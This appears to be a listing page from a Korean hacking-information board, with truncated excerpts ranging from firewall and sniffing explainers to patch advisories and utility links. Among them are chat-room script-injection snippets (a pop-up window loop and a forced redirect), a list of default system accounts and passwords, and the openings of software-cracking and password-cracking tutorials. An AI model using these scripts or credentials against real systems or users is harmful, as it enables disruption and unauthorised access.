[해킹정보]  FTP 명령어 삽입을 이용한 공격 웹브라우저로 접근하는 FTP를 이용한 원격 명령 취약점 입니다. Summary Konqueror is "a very multifuncional HTTP browser included on KDE base package. Like others browsers it can use more protocols, for example FTP. This application is usually used to navigate through the file systems". Both Konqueror and Internet Explor...
[해킹정보]  Norton Anywhere 크랙하기 Norton Anywhere ver 8.0 Cracking Tools required Soft-Ice 3.2 ( 3.2 이후의 어떤버전이든 상관없음.) W32Dasm (any version should do, 8.93버전을 사용하면 더욱 좋음.) An hexeditor ( 나는 UltraEdit 6.00a를 사용함. 어떤 거든지 상관없음, 본인이 쓰기에 편하기만 하면 됨.) Target PcAnywhere ver 8.0 Name : Winaw32.exe Size : 664,576 Bytes Name : A...
[해킹정보]  Netstat을 이용하여 트로이 공격 확인하기 netstat 는 잘만 사용하면 내 컴퓨터에 깔린 트로이를 발견할 수도 있고 ICQ나 AIM 등의 채팅 프로그램 밎 냅스터, 소리바다 등의 MP3 다운 프로그램을 사용할 때 상대방의 IP 번호를 알아낼수 있다. 1) netstat 실행하기 시작 - 프로그램 - 한글 MS-DOS 를 클릭해 도스창을 연다. C:\windows 라고 써 있고 커서가 깜빡깜빡거릴 것이다. 여기에 netstat 를 입력하고 엔터를 친다. 대충 다음과 같은 화면이 나타날 것이다. Proto Local Address Fo...
[해킹정보]  침입자 로그 추적 ◇< 서두. '침입자 로그추적' 문서는 binish에 의해 작성된 보안관련 문서입니다. 널리씌여 인간을 이롭게하자는 홍익인간 정신에 근거, GNU 정신으로 샤워한 이 문서로 아무쪼록 작게나마 도움이 되셨으면 좋겠습니다. B) (유닉스를 바탕으로 설명합니다) ◇< 침입자들의 발자국 지우기. 침입자들이 쉘을 얻어내서 루트 권한을 따내면 일을 마치고 그들의 자취를 감추기 마련이다. 이때 그들이 하는 분명한 짓을 알아보자. /etc/syslog.conf 에서 로그상태를 분석해서 로그를 찾아나간다. /var/adm/mes...
[해킹정보]  대화방 해킹 두번째 위에것의 변형인데 이것이 바로 폭탄(주의:이걸쓰면 자신도 똑같이 당함^^) [script] for(i=1;i0;i++){window.open("");}[/script] 상대방을 다른 사이트로 보낼고싶을때 사용 [script] location.href="보내고자하는주소입력";[/script] (예)[script] location.href="http://www.yahoo.co.kr";[/script] [script] {window.open("보내고자하는주소입력");}[/script] (예)[script] {window.ope...
[해킹정보]  인터넷에 대한 확실한 정의 네트워크의 처음 목적은 군사적인 것이었습니다. 미국 국방성에는 그 당시 소련의 핵폭격이나 그에 준하는 공격을 가상하여 이 경우에도 작동이 가능한 매우 신뢰성있는 컴퓨터 네트워크가 필요하다는 결론에 도달하였습니다. 즉, 이 네트워크는 중간에 있는 몇개의 시스팀이 폭격으로 부서지더라도, 다른 시스팀을 통해서 연결이 되기를 바랐던 것입니다. 1960년대 후반에 미국 국방성은 여러대의 컴퓨터들을 네트워크로 연결했습니다. 물론 이는 군사 적 목적을 위한 연구였고 이 네트워크는 ARPAnet 이라고 이름 붙여졌습니다. 이 네트워...
[해킹정보]  아래한글 2.X 암호 해독 사건 아래한글 2.X 의 암호 크랙(CRACK) 사건 개요 슈퍼컴퓨터로도 1백30년이상 걸려야 겨우 풀 수있다는 아래아한글의 문서암호를 27세된 한 청년 컴퓨터전문가가 간단히 풀어냈다. 아래아한글 제작사인 한글과컴퓨터(한컴)사는 그간 "문서잠금 암호기 능이 42억9천4백96만7천2백95개의 숫자를 조합해 만든 것이기에 어떤 전 문가도 감히풀 수 없다"고 장담해온 터였다. 컴퓨터를 이용한 전통적인 암호해독법은 코드 자동입력 소프트웨어를 써서 각가지 경우의 수를 빠른 속도로 무작위 입력시켜 보는 방법에 의존 하는 것...
[해킹정보]  WWW 의 소개! WWW(World Wide Web, 인터넷 하이퍼텍스트)은 인터넷을 이용한 검색 도구라 하겠다. 여지껏 우리가 보아오던 텍스트 방식이 아닌 멀티미디어에 근접한 음성,화상 정보 서비스라 할것이다. 이것은 CERN(the Eurobean Laboratory for Particle Physics)의 주도하에 만들어진 산물로 고퍼, anonymous FTP, 아키, 유즈넷,텔넷 등으로 이용할 수 있는 모든 서비스 를 모두 사용할수 있다는 매력도 갖고 있다. 이러한 WWW의 브라우저로 가장 많이 애용되는 것은 익스플로러와 넷스케이프...
[해킹정보]  해커란? 지금까지 인터넷에서 불법적으로 다른 시스템에 침투하여 인가되지 않은 일을 하는 사람을 일반적인 단어인 침입자(Cracker, Intruder)라고 표현해 왔는데, 인터넷에서는 요즘 이를 단순히 해 커라 부르고 있다. 사실 해커(Hacker)와 침입자(Cracker)는 구별해야 한다고 해커들은 주장하고 있으며, 실제로 해외의 인터넷 보안 전문가들의 저서에도 그렇게 설명되어 있다. 소위 "Good Guy", "Bad Guy"를 구별하는데 국내에서는 아무 차별없이사용되고 있다. 해커의 원래 사전적 ...
[해킹정보]  해킹의 최신 형태와 방지 테크닉 인터넷의 개방성과 정보공유 및 교환의 용이성으로 인해 인터넷사의 해킹사건은 날로 그 빈도수가 높아가며 그 유형 또한 고 도화하고 그로 인한 피해의 심각성은 하루가 다르게 변모하고 있다. 특집II에서는 5월호와 6월호 두달에 걸쳐 해킹방지 테크닉을 기획했다. 이를 통해 해킹패턴의 변화를 살펴보고, 최근에 일어나고 있는 구체적인 해커 침입경로와 형태, 그리고 그에 대한 방 지책을 자세히 들여다보기로 한다. 초보자들의 이해를 돕기 위해 해킹과 보안에 관련한 개괄적인 내용은 월간 Internet 95년 7월 호부터 11월호를...
[해킹정보]  Network 해킹과 보안 Network 해킹과 보안 지금까지 너무도 많은 분들이 네트워크 해킹과 보안에 굉장히 많은 관심을 가지고 계셨을 거라 생각합니다. 먼저 네트워크 해킹에는 어떤한 장비나 환경이 꾸며져 있어야 하는지 알아보겠습니다. ■ 네트워크 해킹 준비물 ■ 1.인터넷 접속을 위한 장비 인터넷 전용선을 사용하는 분이라면 자신의 PC(단말기)에 LAN카드가 있어야 겠죠? 전화선을 이용해서 인터넷에 접속을 해야하는 분은 Modem이 달려 있어야 합니다. 물론 Modem을 통해 인터넷에 접속을 위해서는 인터넷 서비스에 가입이 되어 있어야 ...
[해킹정보]  IP 스푸핑이란? IP 스푸핑이란? spoof란 단어는 '속이다, 사기치다'는 뜻이다. 즉 쉽게 설명하면 해커가 머물러있는, 또는 단순히 악용하고자 하는 호스트의 IP 어드레스를 바꾸어서 이를 통해 해킹을 하는 것이다. 가령 A란 호 스트와 B란 호스트가 하드디 스크를 공유하고 있는데 A 란 호스트와 B란 호스트는 보안이 잘 되 어서 해킹하기가 보통 어려운 것이 아니라고 하자. 하지만 어떻게서든지 B란 호스트 안에 있는 일급 극비 문서를 훔쳐오고 싶다면 어떻게 해야 할 까? 그렇다면 해커의 최선의 선택 방법은 다음과 같다. 우선 자신이 머물러 ...
[해킹정보]  수퍼해커의 해킹비밀 8 사용자들에게 배포된다. 예를 들어 한 사무실의 비서들은 한 계정을 공 유하는 경우가 있다. 대화명(handle) 가명, 별명, 흔히 BBS 상에서 쓰인다. 대화모드(talk mode) 다른 사용자와의 온라인 대화로 들어간 상태. 당신이 입력하는 내용은 당신의 화면에 나올 뿐만 아니라 상대방의 화면에도 출력 된다. 상대방도 마찬가지이다. 당신이 유닉스 시스템을 사용하고 있고 smuggy라는 사용자가 현재 접속하고 있다는 사실을 안다면, 'talk smuggy'라고 입력하면 smuggy가 ...
[해킹정보]  수퍼해커의 해킹비밀 7 돈이 남아돌거나, 해킹 시 비용을 부담할 생각이라면, 해킹할 때 항 상 호텔이나 모텔에 투숙해도 된다. 돈 문제는 해커를 다른 길로 빠지게 하는 한 요소이다. 통화 요금은 빠르게 인상되고 있고 이런 이유로 대부분 의 진지한 해커들이 프릭(phreak, 전화도용자)이 되어버린다. 프릭이란 전 화 네트워크를 해킹 하는 사람을 지칭한다. 전화도용의 주목적 중 하나는 장거리 전화를 공짜로 사용하는 것 같은 특별한 기능을 수행할 수 있도록 전화기 시스템에 음성 코드 같은 신호를 보내는 것이다. 전화도용은 해...
[해킹정보]  수퍼해커의 해킹비밀 5 제8장 현장에서의 해킹:침입자 해커 회사 본부로 걸어 들어가 거기서 발견한 컴퓨터를 사용하는 일은 무모하 고 위험한 일이다. 하지만 짜릿한 일이기도 하다. 제한 구역으로 교묘히 들 어가서 빌딩과 컴퓨터 시스템 모두를 탐험하는 일은 흥분되는 경험이다. 지난 장에서는 공중이 사용하는 컴퓨터를 탐색하는 방법에 대해 이야기 했지만 현장에서의 해킹에는 또 다른 일면이 있다. 이런 일은 첩자나 도둑 에게 적격이라고 생각하기 쉽겠지만 실제로 당신도 여기에 한몫 낄 수 있 다. 내가 말하고자 하는 바는 공중이 쓰는 컴퓨터가...
[해킹정보]  수퍼해커의 해킹비밀 4 제 2부 해킹하는 동안 제 7장 공용 컴퓨터 단말기 세 가지 종류에 대한 소개 최근에 대형 상점가에 가본 적이 있는가? 의류점, 전자제품점과 식품점 뿐 아니라 미니 골프장, 전자 오락실, 은행, 우체국 기타 당신이 생각할 수 있거나 없는 무언가가 있는, 마구 뻗은 거대한 상점가 말이다. 이전에 볼 수 있었던 '현재위치 -<'가 표시되어 있는 큰 지도 대신에 이제는 상점 가 안에서 길 찾는 것을 도와주고 상점가와 행사들을 알려주는 터치 스크 린이 장착된 컴퓨터를 종종 발견할 수 있다. 나 자신은 상...
[해킹정보]  수퍼해커의 해킹비밀 3 이 책을 집필하는데 사용했던 자료 중 하나는 인기 있는 상용정보 서비스에 대한 비공식 매뉴얼이다. 여성인 저자는 책의 구석구석에서 그녀의 얘완동물인 고양이, 좋아하는 필라델피아의 부드러운 비스킷, 응원하던 미식 축구팀, 자기 남편과 아이들, 그리고 최근에 흥미를 가진 컴퓨터 분야에 관해 자주 언급하였다. 내용 중 언급된 그녀의 생활 습관에서뿐만 아니라 서비스의 'Find'명령어를 설명하면서 예를 적어 놓은 메시지와 출력 문자에까지 이런 인용들은 빠지지 않고 등장하였다. 물론 나는 그 저자의 이름을 알고 있다. 그녀가 그 서비스...
[해킹정보]  수퍼해커의 해킹비밀 2 1983년, 체포되었던 빌 랜드리스는 가석방되었고, 권력자의 측근으로부터(Out of the Inner Circle)이라는 컴퓨터 보안 안내서를 출판한 뒤 베일에 싸인 채 실종되었다고 알려진 바 있다. 그는 '스물두 번째 생일을 즈음한 어느 날' 자살할 것이라고 언급했다 한다. 이 자살 선전이 인기를 위한 책략인가 아니면 사실인가에 대해서는 많은 논쟁이 있었다. 결국 랜드리스는 1987년 7월에 워싱턴 주 시애틀에 다시 나타났고, 집행유예 기간에 보호 관찰을 어겼다는 이유로 다시 수감되었다. 그보다 한 달 전인 노르망디 상륙 ...
[해킹정보]  수퍼 해커의 해킹 비밀 수퍼 해커의 해킹 비밀지은이: 나이트메어(Knightmare)출판사: 연암출판사봉사자: 삼육대학교 고나현"수퍼 해커의 해킹 비밀은 매력적인 설명서이다. 제아무리 견고한 컴퓨터 시스템일지라도 손쉽게 침투해 들어갈 수 있음을 생생하게 폭로한다." -더 샌프란시스코 크로니쿨(The San francisco Chronicie)"책의 표지 선전과 걸맞는 내용을 가진 책은 흔치 않다. 하지만 여기 이 책은 가장 걸맞는 책이라 할 것이다. 나이트메어(Knightmare)가 쓴 수퍼 해커의 해킹 비밀은 '모든 보안 관리자의 끔직한 악몽(ni...
[해킹정보]  웹해킹 - 윈도로 할 수 있는 해킹들 윈도우로 할 수 있는 해킹들 이 강좌에서는 하이텔 같은 가장 취약한 온라인 서비스에서 윈도우95 운영체제로도 아주 심각한 인터넷 해커들만이 할 수 있는 몇 가지 해킹법을 가르쳐 주겠다. 한 번 해 보라. 바로 오늘! 이 강좌의 내용은 다음과 같다. ▶윈도우 95의 잘 알려지지 않은 도스 명령어를 사용하여, 유명한 온라인 서비스 제공업체에서 사용하는 컴퓨터를 추적하고, 포트 서핑하기 ▶아주 유용한 해킹 툴인 whois, nslookup, 그리고 dig 등을 사용할 수 있는 컴퓨터로 텔넷해 들어가기 ▶윈도우에서 사용할 수 ...
[해킹정보]  방화벽 시스템 구축하는 법 방화벽 시스템을 구축하려면 개념적으로 네트워크 레벨(Network Level) 방 화벽 시스템과 응용 레벨(Application Level) 방화벽 시스템으로 구분할 수 있다. 이러한 2가지 타입에 대해 어떤 것이 좋고 어떤 것이 나쁘다는 식의 판단을 내리 기는 어려운 점이 있지만 기관의 요구사항에 어떤 것이 부합되는지를 잘 판단하 는 것이 좋다. 1)네트워크 레벨 방화벽 네트워크 레벨의 시스템은 IP 패킷의 'Source/Destination' 어드레스와 포트 에 의해 결정하게 된다. 단순한 라우터는 낡...
[해킹정보]  방화벽시스템의 기본 구성 요소 방화벽시스템에 대한 각종 토론이 이루어지는 그룹에서는 방화벽시스템에 대 한 일반적인 용어 정의 및 개념을 설명하고 있다. 방화벽시스템이 가지는 여러가 지 기능과 보안 대처 수준에 따라 여러가지 종류의 방화벽시스템이 존재할 수 있 으나, 여기서는 일반적인 방화벽시스템의 구성요소를 소개한다. 이는 방화벽시스 템 개발자, 운영자 및 컨설트업체들이 거의 동의하고 있는 개념이다. 1)네트워크 정책(Network Policy) 방화벽 시스템의 설계, 설치, 사용에 직접적으로 영향을 줄 수 있는 두가지 레벨의 네트워크 ...
[해킹정보]  각 시스템에 따른 어카운트는 무엇인가? AIX ~~~ guest guest AS/400 ~~~~~~ qsecofr qsecofr /* master security officer */ qsysopr qsysopr /* system operator */ qpgmr qpgmr /* default programmer */ also ibm/password ibm/2222 ibm/service qsecofr/1111111 qsecofr/...
[해킹정보]  시스템은 어떤것들인가? 다음은 각 시스템들의 로그인 화면이다. AIX ~~~ IBM AIX Version 3 for RISC System/6000 (C) Copyrights by IBM and by others 1982, 1990. login: [You will know an AIX system because it is the only Unix system that] [clears the screen and issues a login prompt near the bottom of the] [screen] AS/400 ~~~~~~ UserID? ...
[해킹정보]  internet outdial에는 무엇이 있는가? Area Address(s) Command(s) ------ ------------------------------- --------------------- 201 128.112.88.0 128.112.88.1 128.112.88.2 128.112.88.3 204 umnet.cc.manitoba.ca "dial12" or "dial24" 206 dialout24.cac.washington.edu 215 ...
[해킹정보]  ethrnet sniiffing(이더넷 추척)은 무엇인가? Ethernet sniffing 이란,자신이 찾고자 하는 정보를 발견하기 위해서 전송상태를 감시하는 것을 의미한다. 즉 어떤 조건에 맞는 자료르 프로그램이 발견하게 되면, 그 내용은 프로그램에 의해 파일로 저장이 된다. 정보를 알아내기 위하여 일반적으로 가장많이 쓰이는 조건은 'login',또는 'password'와 같은 단어들이다. 많은 Ethernet sniffers 가 있으며,다음은 그 예들이다. 시스템에 따른 스니터와 스니퍼가 있는 FTP OS Sniffer ~~ ...
[해킹정보]  해킹테크닉에 대한 주요 FAQ 모음 1.어떻게 유닉스 패스워드 화일에 접근할 수 있는가? 표준 유닉스에서는 password file 이 /etc/passwd이다. NIS/yp 또는 password shadowing을 이용하는 유닉스 시스템에서는 패스워드화일이 다를 수 있 다. 2.어떻게 유닉스 패스워드를 깨뜨리나? 일반적으로 유닉스 패스워드는 특수한 함수로 암호화가되어 있어 해독이 상당히 어렵다. login 프 로그램은 password:에서 입력한 문자들을 암호화하며,이렇게 암호화된 문자열은 유닉스에 저장되 어 있는 기존의 암호화된 문자열과 비교가 된다. ...
[해킹정보]  해커들의 해커순서 공격 목표 시스템 정보 수집 - 자동화된 대규모 네트워크 스캔 도구를 이용한 정보 수집 - 네트워크 구조, 운영체계 버전, 취약점 정보 등 수집 불법적인 컴퓨터 접근 - ID와 패스워드를 알아내 ID를 도용 로그인 - 웹서버 등 네트워크 서버의 취약점을 이용하여 접근함 - crack을 이용하여 패스워드를 알아내 접근함 - 스니퍼 등을 이용하여 찾아낸 ID 및 패스워드로 접근함 - 네트워크의 취약점을 이용하여 root 계정으로 로그인 ROO...
[예방자료]  윈도우 키로거 (key logger) Gina.DLL 삭제방법 악성코드 삽입공격이 다시 생기면서 windows(winnt)system32faxmode.inc 파일이 존재하는 경우가 종종 발견됩니다. 지워도 터미널로그인을 하면 다시 생기게 됩니다.참고 : http://hacked.tistory.com/2해당파일을 열어보면 윈도우 계정 , 패스워드가 로그인할때마다 남게 됩니다. 삭제해줘야 하는 파일은 windows(winnt)system32crypt2.dll  또는  gina**** .dll  파일명IDA 또는 간단히  메모장으로 c...
[예방자료]  Adobe Flash Player 및 Adobe Acrobat/Reader 신규 취약점 주의 (수정) 악의적인 Flash 파일 (확장자:SWF)을 재생하는 Adobe Flash Player 및 Adobe Acrobat/Reader에 원격 코드 실행 취약점이 발견 되었습니다[1,2]. 현재 해당 취약점을 통해 공격하는 사례가 발견되고 있으므로 사용자는 신뢰할 수 없는 사이트의 방문을 자제하고 출처가 불분명한 PDF 파일의 열람을 자제 부탁 드립니다.   [설 명]  o Adobe社는 본 취약점에 대해 보안 권고문(Security Advisory)을 발표함[3]    ※ 관련 CVE : CVE-...
[예방자료]  [MS 긴급 보안업데이트] Internet Explorer 관련패치 등 2개 Internet Explorer(MS09-034) 및 MS Visual Studio Active Template Library(MS09-035)취약점에 대한 MS 긴급보안업데이트가 발표되었으니, 조속히 패치하시기 바랍니다.   [MS09-034] Internet Explorer 누적 보안 업데이트   □ 영향   o 공격자가 영향 받는 시스템에 대해 완전한 권한 획득   □ 설명    o IE가 메모리 오브젝트 또는 테이블을 처리하거나 제거된 객체를 접근하는 방식의 문제점...
[일반자료실]  Double Driver (드라이버백업 유틸) Double Driver는 사용자의 시스템에 설치된 모든 드라이버를 검색해서 선택한 드라이버를 백업/복구 할수 있도록 해주는 프로그램입니다.Freeware 이고, 사용법도 간단하다."드라이버 백업 / 드라이버 복구"  가능하다.1. 'Scan' 누르면 컴퓨터에서 인식되는 드라이버가 모두 검색된다.2. 'Backup' 누르면 저장이 된다.이렇게 저장해서 포멧후 드라이버를 찾아 설치하면 된다.※ 이 프로그램은 Restore 도 가능하다.Restore 누르고 .inf 파일을 선택하면 드라이버가 설치된다.
[일반자료실]  악성코드 분석툴 위 이미지와 같이 IE7 0Day 취약점과 같은 악성코드 분석시 유용하게 사용할수 있는 툴모음입니다.Sniff_hit , SysAnalyzer 는 유용하게 사용할수 있는 툴이죠.출처 : http://labs.idefense.com/software/malcode.php
[일반자료실]  Internet Explorer Developer Toolbar Internet Explorer Developer Toolbar
[링크자료실]  연결 끊어진 불량링크 점검 - bad link, dead link checker http://www.deadlinkchecker.com/
[링크자료실]  FTP접속 자동 백업 프로그램 - Cobian Backup FTP접속 자동 백업 프로그램 - Cobian Backup
[링크자료실]  Windows XP 용 Windows Internet Explorer 7 - 링크 다운로드해 주셔서 감사합니다. Windows XP 용 Windows Internet Explorer 7 다운로드 지침 파일 다운로드 대화 상자에서 다음 중 하나를 수행하십시오. 설치를 즉시 시작하려면 열기 또는 현재 위치에서 이 프로그램을 실행을 클릭하십시오. 다운로드를 컴퓨터에 복사했다가 나중에 설치하려면 저장 또는 이 프로그램을 디스크에 저장을 클릭하십시오. 자세한 설치 지침을 포함하여 선택한 다운로드에 대한 자세한 내용을 보려면 다음 페이지로 돌아가십시오:다운로드 정보 페이지. 30초 동안 다운로드가 시작되지 않으...